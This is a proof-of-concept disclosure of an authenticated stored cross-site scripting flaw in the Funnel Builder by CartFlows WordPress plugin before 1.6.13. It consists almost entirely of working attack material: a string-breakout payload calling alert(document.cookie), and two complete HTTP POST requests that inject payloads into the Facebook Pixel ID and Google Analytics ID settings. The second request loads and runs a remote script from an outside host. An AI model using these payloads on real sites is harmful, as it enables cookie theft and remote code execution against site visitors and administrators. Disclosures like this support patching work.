Funnel Builder by CartFlows < 1.6.13 - Authenticated Stored XSS via FB Pixel ID and Google Analytics ID

### -- [ Payloads: ]

[$] 'm0ze'); alert(document.cookie); //('m0ze'


### -- [ PoC #1 | Authenticated Persistent XSS | Facebook Pixel ID: ]

[!] POST /wp-admin/admin-ajax.php?_locale=user HTTP/2
Host: example.com
Cookie: [admin cookies]
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=---------------------------136768928210535225113059586199
Content-Length: 1787

-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="_cartflows_facebook[facebook_pixel_tracking]"

disable
-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="_cartflows_facebook[facebook_pixel_tracking]"

enable
-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="_cartflows_facebook[facebook_pixel_tracking_for_site]"

disable
-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="_cartflows_facebook[facebook_pixel_tracking_for_site]"

enable
-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="_cartflows_facebook[facebook_pixel_id]"

'm0ze'); alert(document.cookie); //('m0ze'
-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="_cartflows_facebook[facebook_pixel_initiate_checkout]"

disable
-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="_cartflows_facebook[facebook_pixel_add_payment_info]"

disable
-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="_cartflows_facebook[facebook_pixel_purchase_complete]"

disable
-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="action"

cartflows_save_global_settings
-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="security"

e918af4728
-----------------------------136768928210535225113059586199
Content-Disposition: form-data; name="setting_tab"

facebook_pixel
-----------------------------136768928210535225113059586199--



### -- [ PoC #2 | Authenticated Persistent XSS | Google Analytics ID: ]

[!] POST /wp-admin/admin-ajax.php?_locale=user HTTP/2
Host: example.com
Cookie: [admin cookies]
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=---------------------------372833242730857634751324923175
Content-Length: 1814

-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="_cartflows_google_analytics[enable_google_analytics]"

disable
-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="_cartflows_google_analytics[enable_google_analytics]"

enable
-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="_cartflows_google_analytics[enable_google_analytics_for_site]"

disable
-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="_cartflows_google_analytics[google_analytics_id]"

';import("https://m0ze.ru/payload/a2r.js");'
-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="_cartflows_google_analytics[enable_begin_checkout]"

disable
-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="_cartflows_google_analytics[enable_add_to_cart]"

disable
-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="_cartflows_google_analytics[enable_add_payment_info]"

disable
-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="_cartflows_google_analytics[enable_purchase_event]"

disable
-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="action"

cartflows_save_global_settings
-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="security"

e918af4728
-----------------------------372833242730857634751324923175
Content-Disposition: form-data; name="setting_tab"

google_analytics
-----------------------------372833242730857634751324923175--